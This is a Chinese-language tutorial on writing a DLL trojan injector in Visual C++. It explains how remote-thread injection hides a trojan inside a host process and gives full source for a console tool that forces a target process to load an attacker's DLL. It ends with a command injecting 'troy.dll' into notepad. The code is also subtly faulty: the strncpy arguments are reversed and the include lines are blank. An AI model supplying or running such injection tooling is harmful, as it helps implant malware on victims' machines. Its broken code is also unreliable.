写一个木马挂载程序,听起来似乎很玄,其实也很简单,本文将告诉你怎样用Visual C++实现一个侵入木马的程序。本文主要涉及动态链接库(DLL)木马,目前相当多数的木马病毒都以这种方式被加载。
DLL木马攻击指的是编程者在DLL中包含木马程序代码,随后在目标主机中选择特定目标进程,以某种方式强行指定该进程调用包含这个木马程序的DLL,最终达到侵袭目标系统的目的。
我们知道,DLL在程序编制中可作出巨大贡献,它提供了具共性代码的复用能力。但是,正如一门高深的武学,若被掌握在正义之侠的手上,便可助其仗义江湖;但若被掌握在邪恶之徒的手上,则必然会在江湖上掀起腥风血雨。DLL正是一种这样的武学。正是DLL自身的特点决定了以这种形式加载木马不仅可行,而且具有良好的隐藏性:
(1)DLL程序被映射到宿主进程的地址空间中,它能够共享宿主进程的资源,并根据宿主进程在目标主机的级别非法访问相应的系统资源;
(2)DLL程序没有独立的进程地址空间,从而可以避免在目标主机中留下“蛛丝马迹”,达到隐蔽自身的目的。
将木马程序以DLL的形式实现后,需要使用插入到目标进程中的远程线程将该木马DLL插入到目标进程的地址空间,即利用该线程通过调用Windows API中的 LoadLibrary函数来加载木马DLL。
Windows提供了一个API――CreateRemoteThread,它可以在别的进程中产生线程,正是这个API为我们进行远程线程插入提供了方便。可以说,整个远程线程插入都建立在这个API的基础之上。CreateRemoteThread有如下特点:
(1)CreateRemoteThread较CreateThread多一个参数hProcess,该参数用于指定要创建线程的远程进程,其函数原型为:
HANDLE CreateRemoteThread(
HANDLE hProcess, //远程进程句柄
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);
(2)线程函数的代码不能位于我们用来注入DLL木马的进程所在的地址空间中。也就是说,我们不能想当然地自己写一个函数,并把这个函数作为远程线程的入口函数;
(3)不能把本进程的指针作为CreateRemoteThread的参数,因为本进程的内存空间与远程进程的不一样。在Windows中,本地进程的逻辑内存与另一个进程的逻辑内存“风马牛不相及”,因此不同进程中相同的指针所指向的实际内容并不一样。
DLL木马注入的一般步骤为:
(1)取得宿主进程(即要注入木马的进程)的进程ID dwRemoteProcessId;
(2)利用Windows API OpenProcess打开宿主进程,应该开启下列选项:
a.PROCESS_CREATE_THREAD:允许在宿主进程中创建线程;
b.PROCESS_VM_OPERATION:允许对宿主进程中进行VM操作;
c.PROCESS_VM_WRITE:允许对宿主进程进行VM写。
(3)利用Windows API VirtualAllocEx函数在远程线程的VM中分配DLL完整路径所需的存储空间,并利用Windows API WriteProcessMemory函数将完整路径写入该存储空间;
(4)利用Windows API GetProcAddress取得Kernel32模块中LoadLibrary函数(分为ANSI版本的LoadLibraryA函数和Unicode版本的LoadLibraryW函数)的地址,这个函数将作为随后将启动的远程线程的入口函数;
(5)利用Windows API CreateRemoteThread启动远程线程,将LoadLibrary函数的地址作为远程线程的入口函数地址,将宿主进程里被分配空间中存储的完整DLL路径作为线程入口函数的参数以另其启动指定的DLL;
(6)清理现场。
我们来看具体的远程线程插入DLL的代码,从中体会这几个步骤。这是一个控制台程序,在运行它的时候需要提供2个参数,即DLL的绝对路径和进程的ID。其代码如下(为了节省篇幅,代码中不包含异常处理):
#include
#include
#include
void main(int argc,char **argv)
{
int iReturnCode;
char lpDllFullPathName[MAX_PATH];
WCHAR pszLibFileName[MAX_PATH]={0};
PDWORD pdwThreadId;
HANDLE hRemoteThread, hRemoteProcess;
DWORD fdwCreate, dwStackSize, dwRemoteProcessId;
PWSTR pszLibFileRemote=NULL;
//处理命令行参数
//取得进程ID
dwRemoteProcessId = atoi(argv[1]);
//取得dll路径
strncpy(argv[2], lpDllFullPathName, MAX_PATH);
//将DLL文件全路径的ANSI码转换成UNICODE码
MultiByteToWideChar(CP_ACP, MB_ERR_INVALID_CHARS,
lpDllFullPathName, strlen(lpDllFullPathName),
pszLibFileName, MAX_PATH);
//输出最后的操作参数
wprintf(L"Will inject %s", pszLibFileName);
printf(" into process:%s PID=%d\n", argv[1], dwRemoteProcessId);
//打开远程进程
hRemoteProcess = OpenProcess(PROCESS_CREATE_THREAD | //允许创建线程
PROCESS_VM_OPERATION | //允许VM操作
PROCESS_VM_WRITE, //允许VM写
FALSE, dwRemoteProcessId );
//计算DLL路径名需要的内存空间
int cb = (1 + lstrlenW(pszLibFileName)) * sizeof(WCHAR);
pszLibFileRemote = (PWSTR) VirtualAllocEx( hRemoteProcess, NULL, cb,
MEM_COMMIT, PAGE_READWRITE);
//将DLL的路径名复制到远程进程的内存空间
iReturnCode = WriteProcessMemory(hRemoteProcess,
pszLibFileRemote, (PVOID) pszLibFileName, cb, NULL);
//计算LoadLibraryW的入口地址
PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)
GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
//启动远程线程,通过远程线程调用用户的DLL文件
hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0, pfnStartAddr, pszLibFileRemote, 0, NULL);
//等待远程线程退出
WaitForSingleObject(hRemoteThread, INFINITE);
//清场处理
if (pszLibFileRemote != NULL)
VirtualFreeEx(hRemoteProcess, pszLibFileRemote, 0, MEM_RELEASE);
if (hRemoteThread != NULL)
{
CloseHandle(hRemoteThread );
}
if (hRemoteProcess!= NULL)
{
CloseHandle(hRemoteProcess);
}
}
在Windows 2000、Windows XP等操作系统中,通过任务管理器可以查看进程ID,其方法是:打开任务管理器,选择“进程”选项卡,打开“查看”菜单,选择其中的“选择列”子菜单,在弹出的对话框中勾选“PID(进程标识符)”,如图1。这样,“进程”选项卡里就出现了进程标识符信息,如图2。
图1 在任务管理器中获取进程ID
图2 进程ID被显示
假设我们制作了一个DLL木马,放在“D:\”目录下,名称为Troy.dll。我们想把这个DLL加载在进程ID为4020的记事本进程上(见图2中的notepad.exe),而程序范例1编译生成的目标程序名为insertdll.exe,也存放在“D:\”目录下,我们只需要在控制台运行“insertdll.exe 4020 d:\\troy.dll”命令就在远程进程中插入了木马DLL。
实现一个DLL木马注入的过程就是这么简单。但是,本文给出的只是DLL木马最简单情况的介绍,读者若有兴趣深入研究,可以参考其它资料。